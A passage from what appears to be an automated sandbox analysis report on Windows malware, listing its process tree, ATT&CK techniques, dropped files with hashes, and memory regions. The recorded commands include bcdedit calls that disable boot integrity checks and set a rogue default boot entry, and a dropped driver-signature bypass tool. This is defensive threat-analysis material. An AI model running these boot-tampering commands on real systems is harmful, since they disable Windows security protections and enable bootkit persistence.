- Modifies boot configuration data using bcdedit
PID:3160

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:192

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:4016

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:200

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:3168

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:740

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:2176

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
5⤵
- Modifies boot configuration data using bcdedit
PID:2020

C:\Windows\System32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:904

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:3152

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1332 -s 728
3⤵
- Program crash
PID:2920

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 636 -s 796
2⤵
- Program crash
PID:2300

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:508

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
MD5
d98e78fd57db58a11f880b45bb659767

SHA1
ab70c0d3bd9103c07632eeecee9f51d198ed0e76

SHA256
414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

SHA512
aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

Download Submit
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
MD5
13aaafe14eb60d6a718230e82c671d57

SHA1
e039dd924d12f264521b8e689426fb7ca95a0a7b

SHA256
f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

SHA512
ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

Download Submit
C:\Windows\rss\csrss.exe
MD5
09f52ff0d655353f5479d0157af2b8ba

SHA1
c21c3ae75444f546a178c926a68108a773e62eb1

SHA256
788eb685943b452608a07a44d75be4c5806f1374461596a6ad7cce5569fcf77e

SHA512
ca12d33221180fd3b33fb3ef82f93eea0206f71279306870402a8c8595a4d70c28ff006365638a4f3cfb1299caf452f3ec92d93533b15c31c647cb87afcc17c0

Download Submit
C:\Windows\rss\csrss.exe
MD5
09f52ff0d655353f5479d0157af2b8ba

SHA1
c21c3ae75444f546a178c926a68108a773e62eb1

SHA256
788eb685943b452608a07a44d75be4c5806f1374461596a6ad7cce5569fcf77e

SHA512
ca12d33221180fd3b33fb3ef82f93eea0206f71279306870402a8c8595a4d70c28ff006365638a4f3cfb1299caf452f3ec92d93533b15c31c647cb87afcc17c0

Download Submit
\Users\Admin\AppData\Local\Temp\dbghelp.dll
MD5
f0616fa8bc54ece07e3107057f74e4db

SHA1
b33995c4f9a004b7d806c4bb36040ee844781fca

SHA256
6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

SHA512
15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

Download Submit
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
MD5
335ee604bc5976ee83b38f3dddfed723

SHA1
2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

SHA256
8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

SHA512
87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

Download Submit
\Users\Admin\AppData\Local\Temp\osloader.exe
MD5
78c581e475d59efdebee2d3f4355f03f

SHA1
fda6c1f77f772afaa1b44a44c1fb29ee07434d10

SHA256
9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

SHA512
35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

Download Submit
\Users\Admin\AppData\Local\Temp\symsrv.dll
MD5
5c399d34d8dc01741269ff1f1aca7554

SHA1
e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

SHA256
e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

SHA512
8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

Download Submit
memory/192-36-0x0000000000000000-mapping.dmp

Download
memory/196-21-0x0000000000000000-mapping.dmp

Download
memory/200-38-0x0000000000000000-mapping.dmp

Download
memory/636-1-0x00000000016D0000-0x00000000016D1000-memory.dmp

Filesize
4KB

Download
memory/636-2-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/740-40-0x0000000000000000-mapping.dmp

Download
memory/904-43-0x0000000000000000-mapping.dmp

Download
memory/904-34-0x0000000000000000-mapping.dmp

Download
memory/1236-10-0x0000000000000000-mapping.dmp

Download
memory/1248-23-0x0000000000000000-mapping.dmp

Download
memory/1332-3-0x0000000000000000-mapping.dmp

Download
memory/1332-9-0x0000000011FD0000-0x0000000011FEC000-memory.dmp

Filesize
112KB

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memory/1332-6-0x0000000000400000-0x0000000000B10000-memory.dmp

Filesize
7.1MB

Download
memory/1332-5-0x00000000014F0000-0x00000000014F1000-memory.dmp

Filesize
4KB

Download
memory/1520-29-0x0000000000000000-mapping.dmp

Download
memory/1672-32-0x0000000000000000-mapping.dmp

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memory/2020-42-0x0000000000000000-mapping.dmp

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memory/2176-41-0x0000000000000000-mapping.dmp

Download
memory/2212-33-0x0000000000000000-mapping.dmp

Download
memory/2316-11-0x0000000000000000-mapping.dmp

Download
memory/2440-31-0x0000000000000000-mapping.dmp

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memory/3028-13-0x0000000000000000-mapping.dmp

Download
memory/3068-12-0x0000000000000000-mapping.dmp

Download
memory/3152-44-0x0000000000000000-mapping.dmp

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memory/3160-35-0x0000000000000000-mapping.dmp

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memory/3168-39-0x0000000000000000-mapping.dmp

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memory/3848-20-0x0000000000000000-mapping.dmp

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memory/3860-14-0x0000000000000000-mapping.dmp

Download
memory/3860-18-0x0000000001BB0000-0x0000000001BB1000-memory.dmp

Filesize
4KB

Download
memory/3976-30-0x0000000000000000-mapping.dmp

Download
memory/4016-37-0x0000000000000000-mapping.dmp

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